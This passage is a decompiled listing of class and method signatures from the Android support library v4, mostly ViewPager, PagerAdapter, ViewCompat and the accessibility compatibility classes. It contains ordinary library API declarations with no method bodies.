    private ViewPager$PageTransformer mPageTransformer;
    private reflect.Method mSetChildrenDrawingOrderEnabled;
    private static final int DRAW_ORDER_DEFAULT = 0;
    private static final int DRAW_ORDER_FORWARD = 1;
    private static final int DRAW_ORDER_REVERSE = 2;
    private int mDrawingOrder;
    private java.util.ArrayList mDrawingOrderedChildren;
    private static final ViewPager$ViewPositionComparator sPositionComparator;
    public static final int SCROLL_STATE_IDLE = 0;
    public static final int SCROLL_STATE_DRAGGING = 1;
    public static final int SCROLL_STATE_SETTLING = 2;
    private final Runnable mEndScrollRunnable;
    private int mScrollState;
    public void ViewPager(android.content.Context);
    public void ViewPager(android.content.Context, android.util.AttributeSet);
    void initViewPager();
    protected void onDetachedFromWindow();
    private void setScrollState(int);
    public void setAdapter(PagerAdapter);
    private void removeNonDecorViews();
    public PagerAdapter getAdapter();
    void setOnAdapterChangeListener(ViewPager$OnAdapterChangeListener);
    public void setCurrentItem(int);
    public void setCurrentItem(int, boolean);
    public int getCurrentItem();
    void setCurrentItemInternal(int, boolean, boolean);
    void setCurrentItemInternal(int, boolean, boolean, int);
    private void scrollToItem(int, boolean, int, boolean);
    public void setOnPageChangeListener(ViewPager$OnPageChangeListener);
    public void setPageTransformer(boolean, ViewPager$PageTransformer);
    void setChildrenDrawingOrderEnabledCompat(boolean);
    protected int getChildDrawingOrder(int, int);
    ViewPager$OnPageChangeListener setInternalPageChangeListener(ViewPager$OnPageChangeListener);
    public int getOffscreenPageLimit();
    public void setOffscreenPageLimit(int);
    public void setPageMargin(int);
    public int getPageMargin();
    public void setPageMarginDrawable(android.graphics.drawable.Drawable);
    public void setPageMarginDrawable(int);
    protected boolean verifyDrawable(android.graphics.drawable.Drawable);
    protected void drawableStateChanged();
    float distanceInfluenceForSnapDuration(float);
    void smoothScrollTo(int, int);
    void smoothScrollTo(int, int, int);
    ViewPager$ItemInfo addNewItem(int, int);
    void dataSetChanged();
    void populate();
    void populate(int);
    private void calculatePageOffsets(ViewPager$ItemInfo, int, ViewPager$ItemInfo);
    public android.os.Parcelable onSaveInstanceState();
    public void onRestoreInstanceState(android.os.Parcelable);
    public void addView(android.view.View, int, android.view.ViewGroup$LayoutParams);
    public void removeView(android.view.View);
    ViewPager$ItemInfo infoForChild(android.view.View);
    ViewPager$ItemInfo infoForAnyChild(android.view.View);
    ViewPager$ItemInfo infoForPosition(int);
    protected void onAttachedToWindow();
    protected void onMeasure(int, int);
    protected void onSizeChanged(int, int, int, int);
    private void recomputeScrollPosition(int, int, int, int);
    protected void onLayout(boolean, int, int, int, int);
    public void computeScroll();
    private boolean pageScrolled(int);
    protected void onPageScrolled(int, float, int);
    private void completeScroll(boolean);
    private boolean isGutterDrag(float, float);
    private void enableLayers(boolean);
    public boolean onInterceptTouchEvent(android.view.MotionEvent);
    public boolean onTouchEvent(android.view.MotionEvent);
    private boolean performDrag(float);
    private ViewPager$ItemInfo infoForCurrentScrollPosition();
    private int determineTargetPage(int, float, int, int);
    public void draw(android.graphics.Canvas);
    protected void onDraw(android.graphics.Canvas);
    public boolean beginFakeDrag();
    public void endFakeDrag();
    public void fakeDragBy(float);
    public boolean isFakeDragging();
    private void onSecondaryPointerUp(android.view.MotionEvent);
    private void endDrag();
    private void setScrollingCacheEnabled(boolean);
    protected boolean canScroll(android.view.View, boolean, int, int, int);
    public boolean dispatchKeyEvent(android.view.KeyEvent);
    public boolean executeKeyEvent(android.view.KeyEvent);
    public boolean arrowScroll(int);
    private android.graphics.Rect getChildRectInPagerCoordinates(android.graphics.Rect, android.view.View);
    boolean pageLeft();
    boolean pageRight();
    public void addFocusables(java.util.ArrayList, int, int);
    public void addTouchables(java.util.ArrayList);
    protected boolean onRequestFocusInDescendants(int, android.graphics.Rect);
    public boolean dispatchPopulateAccessibilityEvent(android.view.accessibility.AccessibilityEvent);
    protected android.view.ViewGroup$LayoutParams generateDefaultLayoutParams();
    protected android.view.ViewGroup$LayoutParams generateLayoutParams(android.view.ViewGroup$LayoutParams);
    protected boolean checkLayoutParams(android.view.ViewGroup$LayoutParams);
    public android.view.ViewGroup$LayoutParams generateLayoutParams(android.util.AttributeSet);
    static void <clinit>();
}










android/support/v4/view/AccessibilityDelegateCompat.class


package android.support.v4.view;
public synchronized class AccessibilityDelegateCompat {
    private static final AccessibilityDelegateCompat$AccessibilityDelegateImpl IMPL;
    private static final Object DEFAULT_DELEGATE;
    final Object mBridge;
    public void AccessibilityDelegateCompat();
    Object getBridge();
    public void sendAccessibilityEvent(android.view.View, int);
    public void sendAccessibilityEventUnchecked(android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean dispatchPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(android.view.View);
    public boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
    static void <clinit>();
}










android/support/v4/view/PagerAdapter.class


package android.support.v4.view;
public abstract synchronized class PagerAdapter {
    private android.database.DataSetObservable mObservable;
    public static final int POSITION_UNCHANGED = -1;
    public static final int POSITION_NONE = -2;
    public void PagerAdapter();
    public abstract int getCount();
    public void startUpdate(android.view.ViewGroup);
    public Object instantiateItem(android.view.ViewGroup, int);
    public void destroyItem(android.view.ViewGroup, int, Object);
    public void setPrimaryItem(android.view.ViewGroup, int, Object);
    public void finishUpdate(android.view.ViewGroup);
    public void startUpdate(android.view.View);
    public Object instantiateItem(android.view.View, int);
    public void destroyItem(android.view.View, int, Object);
    public void setPrimaryItem(android.view.View, int, Object);
    public void finishUpdate(android.view.View);
    public abstract boolean isViewFromObject(android.view.View, Object);
    public android.os.Parcelable saveState();
    public void restoreState(android.os.Parcelable, ClassLoader);
    public int getItemPosition(Object);
    public void notifyDataSetChanged();
    void registerDataSetObserver(android.database.DataSetObserver);
    void unregisterDataSetObserver(android.database.DataSetObserver);
    public CharSequence getPageTitle(int);
    public float getPageWidth(int);
}










android/support/v4/view/GestureDetectorCompat$GestureDetectorCompatImpl.class


package android.support.v4.view;
abstract interface GestureDetectorCompat$GestureDetectorCompatImpl {
    public abstract boolean isLongpressEnabled();
    public abstract boolean onTouchEvent(android.view.MotionEvent);
    public abstract void setIsLongpressEnabled(boolean);
    public abstract void setOnDoubleTapListener(android.view.GestureDetector$OnDoubleTapListener);
}










android/support/v4/view/ViewPager$OnPageChangeListener.class


package android.support.v4.view;
public abstract interface ViewPager$OnPageChangeListener {
    public abstract void onPageScrolled(int, float, int);
    public abstract void onPageSelected(int);
    public abstract void onPageScrollStateChanged(int);
}










android/support/v4/view/KeyEventCompatHoneycomb.class


package android.support.v4.view;
synchronized class KeyEventCompatHoneycomb {
    void KeyEventCompatHoneycomb();
    public static int normalizeMetaState(int);
    public static boolean metaStateHasModifiers(int, int);
    public static boolean metaStateHasNoModifiers(int);
}










android/support/v4/view/ViewPager$Decor.class


package android.support.v4.view;
abstract interface ViewPager$Decor {
}










android/support/v4/view/ViewCompat.class


package android.support.v4.view;
public synchronized class ViewCompat {
    public static final int OVER_SCROLL_ALWAYS = 0;
    public static final int OVER_SCROLL_IF_CONTENT_SCROLLS = 1;
    public static final int OVER_SCROLL_NEVER = 2;
    private static final long FAKE_FRAME_TIME = 10;
    public static final int IMPORTANT_FOR_ACCESSIBILITY_AUTO = 0;
    public static final int IMPORTANT_FOR_ACCESSIBILITY_YES = 1;
    public static final int IMPORTANT_FOR_ACCESSIBILITY_NO = 2;
    public static final int LAYER_TYPE_NONE = 0;
    public static final int LAYER_TYPE_SOFTWARE = 1;
    public static final int LAYER_TYPE_HARDWARE = 2;
    static final ViewCompat$ViewCompatImpl IMPL;
    public void ViewCompat();
    public static boolean canScrollHorizontally(android.view.View, int);
    public static boolean canScrollVertically(android.view.View, int);
    public static int getOverScrollMode(android.view.View);
    public static void setOverScrollMode(android.view.View, int);
    public static void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public static void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public static void onInitializeAccessibilityNodeInfo(android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public static void setAccessibilityDelegate(android.view.View, AccessibilityDelegateCompat);
    public static boolean hasTransientState(android.view.View);
    public static void setHasTransientState(android.view.View, boolean);
    public static void postInvalidateOnAnimation(android.view.View);
    public static void postInvalidateOnAnimation(android.view.View, int, int, int, int);
    public static void postOnAnimation(android.view.View, Runnable);
    public static void postOnAnimationDelayed(android.view.View, Runnable, long);
    public static int getImportantForAccessibility(android.view.View);
    public static void setImportantForAccessibility(android.view.View, int);
    public static boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
    public static accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(android.view.View);
    public static void setLayerType(android.view.View, int, android.graphics.Paint);
    public static int getLayerType(android.view.View);
    public static int getLabelFor(android.view.View);
    public static void setLabelFor(android.view.View, int);
    static void <clinit>();
}










android/support/v4/view/PagerTitleStripIcs$SingleLineAllCapsTransform.class


package android.support.v4.view;
synchronized class PagerTitleStripIcs$SingleLineAllCapsTransform extends android.text.method.SingleLineTransformationMethod {
    private static final String TAG = SingleLineAllCapsTransform;
    private java.util.Locale mLocale;
    public void PagerTitleStripIcs$SingleLineAllCapsTransform(android.content.Context);
    public CharSequence getTransformation(CharSequence, android.view.View);
}










android/support/v4/view/ViewPager$PageTransformer.class


package android.support.v4.view;
public abstract interface ViewPager$PageTransformer {
    public abstract void transformPage(android.view.View, float);
}










android/support/v4/view/AccessibilityDelegateCompat$AccessibilityDelegateStubImpl.class


package android.support.v4.view;
synchronized class AccessibilityDelegateCompat$AccessibilityDelegateStubImpl implements AccessibilityDelegateCompat$AccessibilityDelegateImpl {
    void AccessibilityDelegateCompat$AccessibilityDelegateStubImpl();
    public Object newAccessiblityDelegateDefaultImpl();
    public Object newAccessiblityDelegateBridge(AccessibilityDelegateCompat);
    public boolean dispatchPopulateAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(Object, android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public void onPopulateAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean onRequestSendAccessibilityEvent(Object, android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void sendAccessibilityEvent(Object, android.view.View, int);
    public void sendAccessibilityEventUnchecked(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(Object, android.view.View);
    public boolean performAccessibilityAction(Object, android.view.View, int, android.os.Bundle);
}










android/support/v4/view/ViewConfigurationCompatFroyo.class


package android.support.v4.view;
synchronized class ViewConfigurationCompatFroyo {
    void ViewConfigurationCompatFroyo();
    public static int getScaledPagingTouchSlop(android.view.ViewConfiguration);
}










android/support/v4/view/ViewPager$ItemInfo.class


package android.support.v4.view;
synchronized class ViewPager$ItemInfo {
    Object object;
    int position;
    boolean scrolling;
    float widthFactor;
    float offset;
    void ViewPager$ItemInfo();
}










android/support/v4/view/KeyEventCompat$BaseKeyEventVersionImpl.class


package android.support.v4.view;
synchronized class KeyEventCompat$BaseKeyEventVersionImpl implements KeyEventCompat$KeyEventVersionImpl {
    private static final int META_MODIFIER_MASK = 247;
    private static final int META_ALL_MASK = 247;
    void KeyEventCompat$BaseKeyEventVersionImpl();
    private static int metaStateFilterDirectionalModifiers(int, int, int, int, int);
    public int normalizeMetaState(int);
    public boolean metaStateHasModifiers(int, int);
    public boolean metaStateHasNoModifiers(int);
}










android/support/v4/view/ViewGroupCompat$ViewGroupCompatStubImpl.class


package android.support.v4.view;
synchronized class ViewGroupCompat$ViewGroupCompatStubImpl implements ViewGroupCompat$ViewGroupCompatImpl {
    void ViewGroupCompat$ViewGroupCompatStubImpl();
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/ViewCompatICS.class


package android.support.v4.view;
synchronized class ViewCompatICS {
    void ViewCompatICS();
    public static boolean canScrollHorizontally(android.view.View, int);
    public static boolean canScrollVertically(android.view.View, int);
    public static void setAccessibilityDelegate(android.view.View, Object);
    public static void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public static void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public static void onInitializeAccessibilityNodeInfo(android.view.View, Object);
}










android/support/v4/view/ViewCompat$JbMr1ViewCompatImpl.class


package android.support.v4.view;
synchronized class ViewCompat$JbMr1ViewCompatImpl extends ViewCompat$JBViewCompatImpl {
    void ViewCompat$JbMr1ViewCompatImpl();
    public int getLabelFor(android.view.View);
    public void setLabelFor(android.view.View, int);
}










android/support/v4/view/MotionEventCompat$MotionEventVersionImpl.class


package android.support.v4.view;
abstract interface MotionEventCompat$MotionEventVersionImpl {
    public abstract int findPointerIndex(android.view.MotionEvent, int);
    public abstract int getPointerId(android.view.MotionEvent, int);
    public abstract float getX(android.view.MotionEvent, int);
    public abstract float getY(android.view.MotionEvent, int);
    public abstract int getPointerCount(android.view.MotionEvent);
}










android/support/v4/view/PagerTitleStrip.class


package android.support.v4.view;
public synchronized class PagerTitleStrip extends android.view.ViewGroup implements ViewPager$Decor {
    private static final String TAG = PagerTitleStrip;
    ViewPager mPager;
    android.widget.TextView mPrevText;
    android.widget.TextView mCurrText;
    android.widget.TextView mNextText;
    private int mLastKnownCurrentPage;
    private float mLastKnownPositionOffset;
    private int mScaledTextSpacing;
    private int mGravity;
    private boolean mUpdatingText;
    private boolean mUpdatingPositions;
    private final PagerTitleStrip$PageListener mPageListener;
    private ref.WeakReference mWatchingAdapter;
    private static final int[] ATTRS;
    private static final int[] TEXT_ATTRS;
    private static final float SIDE_ALPHA = 0.6;
    private static final int TEXT_SPACING = 16;
    private int mNonPrimaryAlpha;
    int mTextColor;
    private static final PagerTitleStrip$PagerTitleStripImpl IMPL;
    private static void setSingleLineAllCaps(android.widget.TextView);
    public void PagerTitleStrip(android.content.Context);
    public void PagerTitleStrip(android.content.Context, android.util.AttributeSet);
    public void setTextSpacing(int);
    public int getTextSpacing();
    public void setNonPrimaryAlpha(float);
    public void setTextColor(int);
    public void setTextSize(int, float);
    public void setGravity(int);
    protected void onAttachedToWindow();
    protected void onDetachedFromWindow();
    void updateText(int, PagerAdapter);
    public void requestLayout();
    void updateAdapter(PagerAdapter, PagerAdapter);
    void updateTextPositions(int, float, boolean);
    protected void onMeasure(int, int);
    protected void onLayout(boolean, int, int, int, int);
    int getMinHeight();
    static void <clinit>();
}










android/support/v4/view/MenuCompat$HoneycombMenuVersionImpl.class


package android.support.v4.view;
synchronized class MenuCompat$HoneycombMenuVersionImpl implements MenuCompat$MenuVersionImpl {
    void MenuCompat$HoneycombMenuVersionImpl();
    public boolean setShowAsAction(android.view.MenuItem, int);
}










android/support/v4/view/ViewCompat$JBViewCompatImpl.class


package android.support.v4.view;
synchronized class ViewCompat$JBViewCompatImpl extends ViewCompat$ICSViewCompatImpl {
    void ViewCompat$JBViewCompatImpl();
    public boolean hasTransientState(android.view.View);
    public void setHasTransientState(android.view.View, boolean);
    public void postInvalidateOnAnimation(android.view.View);
    public void postInvalidateOnAnimation(android.view.View, int, int, int, int);
    public void postOnAnimation(android.view.View, Runnable);
    public void postOnAnimationDelayed(android.view.View, Runnable, long);
    public int getImportantForAccessibility(android.view.View);
    public void setImportantForAccessibility(android.view.View, int);
    public boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
    public accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(android.view.View);
}










android/support/v4/view/PagerTabStrip.class


package android.support.v4.view;
public synchronized class PagerTabStrip extends PagerTitleStrip {
    private static final String TAG = PagerTabStrip;
    private static final int INDICATOR_HEIGHT = 3;
    private static final int MIN_PADDING_BOTTOM = 6;
    private static final int TAB_PADDING = 16;
    private static final int TAB_SPACING = 32;
    private static final int MIN_TEXT_SPACING = 64;
    private static final int FULL_UNDERLINE_HEIGHT = 1;
    private static final int MIN_STRIP_HEIGHT = 32;
    private int mIndicatorColor;
    private int mIndicatorHeight;
    private int mMinPaddingBottom;
    private int mMinTextSpacing;
    private int mMinStripHeight;
    private int mTabPadding;
    private final android.graphics.Paint mTabPaint;
    private final android.graphics.Rect mTempRect;
    private int mTabAlpha;
    private boolean mDrawFullUnderline;
    private boolean mDrawFullUnderlineSet;
    private int mFullUnderlineHeight;
    private boolean mIgnoreTap;
    private float mInitialMotionX;
    private float mInitialMotionY;
    private int mTouchSlop;
    public void PagerTabStrip(android.content.Context);
    public void PagerTabStrip(android.content.Context, android.util.AttributeSet);
    public void setTabIndicatorColor(int);
    public void setTabIndicatorColorResource(int);
    public int getTabIndicatorColor();
    public void setPadding(int, int, int, int);
    public void setTextSpacing(int);
    public void setBackgroundDrawable(android.graphics.drawable.Drawable);
    public void setBackgroundColor(int);
    public void setBackgroundResource(int);
    public void setDrawFullUnderline(boolean);
    public boolean getDrawFullUnderline();
    int getMinHeight();
    public boolean onTouchEvent(android.view.MotionEvent);
    protected void onDraw(android.graphics.Canvas);
    void updateTextPositions(int, float, boolean);
}










android/support/v4/view/ViewPager$MyAccessibilityDelegate.class


package android.support.v4.view;
synchronized class ViewPager$MyAccessibilityDelegate extends AccessibilityDelegateCompat {
    void ViewPager$MyAccessibilityDelegate(ViewPager);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
}










android/support/v4/view/PagerTitleStrip$PagerTitleStripImpl.class


package android.support.v4.view;
abstract interface PagerTitleStrip$PagerTitleStripImpl {
    public abstract void setSingleLineAllCaps(android.widget.TextView);
}










android/support/v4/view/ViewCompat$GBViewCompatImpl.class


package android.support.v4.view;
synchronized class ViewCompat$GBViewCompatImpl extends ViewCompat$BaseViewCompatImpl {
    void ViewCompat$GBViewCompatImpl();
    public int getOverScrollMode(android.view.View);
    public void setOverScrollMode(android.view.View, int);
}










android/support/v4/view/ViewCompat$ViewCompatImpl.class


package android.support.v4.view;
abstract interface ViewCompat$ViewCompatImpl {
    public abstract boolean canScrollHorizontally(android.view.View, int);
    public abstract boolean canScrollVertically(android.view.View, int);
    public abstract int getOverScrollMode(android.view.View);
    public abstract void setOverScrollMode(android.view.View, int);
    public abstract void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void onInitializeAccessibilityNodeInfo(android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public abstract void setAccessibilityDelegate(android.view.View, AccessibilityDelegateCompat);
    public abstract boolean hasTransientState(android.view.View);
    public abstract void setHasTransientState(android.view.View, boolean);
    public abstract void postInvalidateOnAnimation(android.view.View);
    public abstract void postInvalidateOnAnimation(android.view.View, int, int, int, int);
    public abstract void postOnAnimation(android.view.View, Runnable);
    public abstract void postOnAnimationDelayed(android.view.View, Runnable, long);
    public abstract int getImportantForAccessibility(android.view.View);
    public abstract void setImportantForAccessibility(android.view.View, int);
    public abstract boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
    public abstract accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(android.view.View);
    public abstract void setLayerType(android.view.View, int, android.graphics.Paint);
    public abstract int getLayerType(android.view.View);
    public abstract int getLabelFor(android.view.View);
    public abstract void setLabelFor(android.view.View, int);
}










android/support/v4/view/ViewPager$ViewPositionComparator.class


package android.support.v4.view;
synchronized class ViewPager$ViewPositionComparator implements java.util.Comparator {
    void ViewPager$ViewPositionComparator();
    public int compare(android.view.View, android.view.View);
}










android/support/v4/view/AccessibilityDelegateCompatJellyBean.class


package android.support.v4.view;
synchronized class AccessibilityDelegateCompatJellyBean {
    void AccessibilityDelegateCompatJellyBean();
    public static Object newAccessibilityDelegateBridge(AccessibilityDelegateCompatJellyBean$AccessibilityDelegateBridgeJellyBean);
    public static Object getAccessibilityNodeProvider(Object, android.view.View);
    public static boolean performAccessibilityAction(Object, android.view.View, int, android.os.Bundle);
}










android/support/v4/view/ViewCompatJB.class


package android.support.v4.view;
public synchronized class ViewCompatJB {
    public void ViewCompatJB();
    public static boolean hasTransientState(android.view.View);
    public static void setHasTransientState(android.view.View, boolean);
    public static void postInvalidateOnAnimation(android.view.View);
    public static void postInvalidateOnAnimation(android.view.View, int, int, int, int);
    public static void postOnAnimation(android.view.View, Runnable);
    public static void postOnAnimationDelayed(android.view.View, Runnable, long);
    public static int getImportantForAccessibility(android.view.View);
    public static void setImportantForAccessibility(android.view.View, int);
    public static boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
    public static Object getAccessibilityNodeProvider(android.view.View);
}










android/support/v4/view/ViewCompat$ICSViewCompatImpl.class


package android.support.v4.view;
synchronized class ViewCompat$ICSViewCompatImpl extends ViewCompat$HCViewCompatImpl {
    void ViewCompat$ICSViewCompatImpl();
    public boolean canScrollHorizontally(android.view.View, int);
    public boolean canScrollVertically(android.view.View, int);
    public void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public void setAccessibilityDelegate(android.view.View, AccessibilityDelegateCompat);
}










android/support/v4/view/GestureDetectorCompat$GestureDetectorCompatImplBase$GestureHandler.class


package android.support.v4.view;
synchronized class GestureDetectorCompat$GestureDetectorCompatImplBase$GestureHandler extends android.os.Handler {
    void GestureDetectorCompat$GestureDetectorCompatImplBase$GestureHandler(GestureDetectorCompat$GestureDetectorCompatImplBase);
    void GestureDetectorCompat$GestureDetectorCompatImplBase$GestureHandler(GestureDetectorCompat$GestureDetectorCompatImplBase, android.os.Handler);
    public void handleMessage(android.os.Message);
}










android/support/v4/view/ViewPager$LayoutParams.class


package android.support.v4.view;
public synchronized class ViewPager$LayoutParams extends android.view.ViewGroup$LayoutParams {
    public boolean isDecor;
    public int gravity;
    float widthFactor;
    boolean needsMeasure;
    int position;
    int childIndex;
    public void ViewPager$LayoutParams();
    public void ViewPager$LayoutParams(android.content.Context, android.util.AttributeSet);
}










android/support/v4/view/MotionEventCompat$EclairMotionEventVersionImpl.class


package android.support.v4.view;
synchronized class MotionEventCompat$EclairMotionEventVersionImpl implements MotionEventCompat$MotionEventVersionImpl {
    void MotionEventCompat$EclairMotionEventVersionImpl();
    public int findPointerIndex(android.view.MotionEvent, int);
    public int getPointerId(android.view.MotionEvent, int);
    public float getX(android.view.MotionEvent, int);
    public float getY(android.view.MotionEvent, int);
    public int getPointerCount(android.view.MotionEvent);
}










android/support/v4/view/KeyEventCompat.class


package android.support.v4.view;
public synchronized class KeyEventCompat {
    static final KeyEventCompat$KeyEventVersionImpl IMPL;
    public void KeyEventCompat();
    public static int normalizeMetaState(int);
    public static boolean metaStateHasModifiers(int, int);
    public static boolean metaStateHasNoModifiers(int);
    public static boolean hasModifiers(android.view.KeyEvent, int);
    public static boolean hasNoModifiers(android.view.KeyEvent);
    static void <clinit>();
}










android/support/v4/view/MotionEventCompat$BaseMotionEventVersionImpl.class


package android.support.v4.view;
synchronized class MotionEventCompat$BaseMotionEventVersionImpl implements MotionEventCompat$MotionEventVersionImpl {
    void MotionEventCompat$BaseMotionEventVersionImpl();
    public int findPointerIndex(android.view.MotionEvent, int);
    public int getPointerId(android.view.MotionEvent, int);
    public float getX(android.view.MotionEvent, int);
    public float getY(android.view.MotionEvent, int);
    public int getPointerCount(android.view.MotionEvent);
}










android/support/v4/view/KeyEventCompat$HoneycombKeyEventVersionImpl.class


package android.support.v4.view;
synchronized class KeyEventCompat$HoneycombKeyEventVersionImpl implements KeyEventCompat$KeyEventVersionImpl {
    void KeyEventCompat$HoneycombKeyEventVersionImpl();
    public int normalizeMetaState(int);
    public boolean metaStateHasModifiers(int, int);
    public boolean metaStateHasNoModifiers(int);
}










android/support/v4/view/VelocityTrackerCompat$HoneycombVelocityTrackerVersionImpl.class


package android.support.v4.view;
synchronized class VelocityTrackerCompat$HoneycombVelocityTrackerVersionImpl implements VelocityTrackerCompat$VelocityTrackerVersionImpl {
    void VelocityTrackerCompat$HoneycombVelocityTrackerVersionImpl();
    public float getXVelocity(android.view.VelocityTracker, int);
    public float getYVelocity(android.view.VelocityTracker, int);
}










android/support/v4/view/ViewCompatJellybeanMr1.class


package android.support.v4.view;
public synchronized class ViewCompatJellybeanMr1 {
    public void ViewCompatJellybeanMr1();
    public static int getLabelFor(android.view.View);
    public static void setLabelFor(android.view.View, int);
}










android/support/v4/view/ViewGroupCompatIcs.class


package android.support.v4.view;
synchronized class ViewGroupCompatIcs {
    void ViewGroupCompatIcs();
    public static boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/accessibility/AccessibilityRecordCompatIcsMr1.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityRecordCompatIcsMr1 {
    void AccessibilityRecordCompatIcsMr1();
    public static int getMaxScrollX(Object);
    public static int getMaxScrollY(Object);
    public static void setMaxScrollX(Object, int);
    public static void setMaxScrollY(Object, int);
}










android/support/v4/view/accessibility/AccessibilityRecordCompatIcs.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityRecordCompatIcs {
    void AccessibilityRecordCompatIcs();
    public static Object obtain();
    public static Object obtain(Object);
    public static int getAddedCount(Object);
    public static CharSequence getBeforeText(Object);
    public static CharSequence getClassName(Object);
    public static CharSequence getContentDescription(Object);
    public static int getCurrentItemIndex(Object);
    public static int getFromIndex(Object);
    public static int getItemCount(Object);
    public static android.os.Parcelable getParcelableData(Object);
    public static int getRemovedCount(Object);
    public static int getScrollX(Object);
    public static int getScrollY(Object);
    public static Object getSource(Object);
    public static java.util.List getText(Object);
    public static int getToIndex(Object);
    public static int getWindowId(Object);
    public static boolean isChecked(Object);
    public static boolean isEnabled(Object);
    public static boolean isFullScreen(Object);
    public static boolean isPassword(Object);
    public static boolean isScrollable(Object);
    public static void recycle(Object);
    public static void setAddedCount(Object, int);
    public static void setBeforeText(Object, CharSequence);
    public static void setChecked(Object, boolean);
    public static void setClassName(Object, CharSequence);
    public static void setContentDescription(Object, CharSequence);
    public static void setCurrentItemIndex(Object, int);
    public static void setEnabled(Object, boolean);
    public static void setFromIndex(Object, int);
    public static void setFullScreen(Object, boolean);
    public static void setItemCount(Object, int);
    public static void setParcelableData(Object, android.os.Parcelable);
    public static void setPassword(Object, boolean);
    public static void setRemovedCount(Object, int);
    public static void setScrollX(Object, int);
    public static void setScrollY(Object, int);
    public static void setScrollable(Object, boolean);
    public static void setSource(Object, android.view.View);
    public static void setToIndex(Object, int);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompat$AccessibilityNodeInfoStubImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompat$AccessibilityNodeInfoStubImpl implements AccessibilityNodeInfoCompat$AccessibilityNodeInfoImpl {
    void AccessibilityNodeInfoCompat$AccessibilityNodeInfoStubImpl();
    public Object obtain();
    public Object obtain(android.view.View);
    public Object obtain(android.view.View, int);
    public Object obtain(Object);
    public void addAction(Object, int);
    public void addChild(Object, android.view.View);
    public void addChild(Object, android.view.View, int);
    public java.util.List findAccessibilityNodeInfosByText(Object, String);
    public int getActions(Object);
    public void getBoundsInParent(Object, android.graphics.Rect);
    public void getBoundsInScreen(Object, android.graphics.Rect);
    public Object getChild(Object, int);
    public int getChildCount(Object);
    public CharSequence getClassName(Object);
    public CharSequence getContentDescription(Object);
    public CharSequence getPackageName(Object);
    public Object getParent(Object);
    public CharSequence getText(Object);
    public int getWindowId(Object);
    public boolean isCheckable(Object);
    public boolean isChecked(Object);
    public boolean isClickable(Object);
    public boolean isEnabled(Object);
    public boolean isFocusable(Object);
    public boolean isFocused(Object);
    public boolean isVisibleToUser(Object);
    public boolean isAccessibilityFocused(Object);
    public boolean isLongClickable(Object);
    public boolean isPassword(Object);
    public boolean isScrollable(Object);
    public boolean isSelected(Object);
    public boolean performAction(Object, int);
    public boolean performAction(Object, int, android.os.Bundle);
    public void setMovementGranularities(Object, int);
    public int getMovementGranularities(Object);
    public void setBoundsInParent(Object, android.graphics.Rect);
    public void setBoundsInScreen(Object, android.graphics.Rect);
    public void setCheckable(Object, boolean);
    public void setChecked(Object, boolean);
    public void setClassName(Object, CharSequence);
    public void setClickable(Object, boolean);
    public void setContentDescription(Object, CharSequence);
    public void setEnabled(Object, boolean);
    public void setFocusable(Object, boolean);
    public void setFocused(Object, boolean);
    public void setVisibleToUser(Object, boolean);
    public void setAccessibilityFocused(Object, boolean);
    public void setLongClickable(Object, boolean);
    public void setPackageName(Object, CharSequence);
    public void setParent(Object, android.view.View);
    public void setPassword(Object, boolean);
    public void setScrollable(Object, boolean);
    public void setSelected(Object, boolean);
    public void setSource(Object, android.view.View);
    public void setSource(Object, android.view.View, int);
    public Object findFocus(Object, int);
    public Object focusSearch(Object, int);
    public void setText(Object, CharSequence);
    public void recycle(Object);
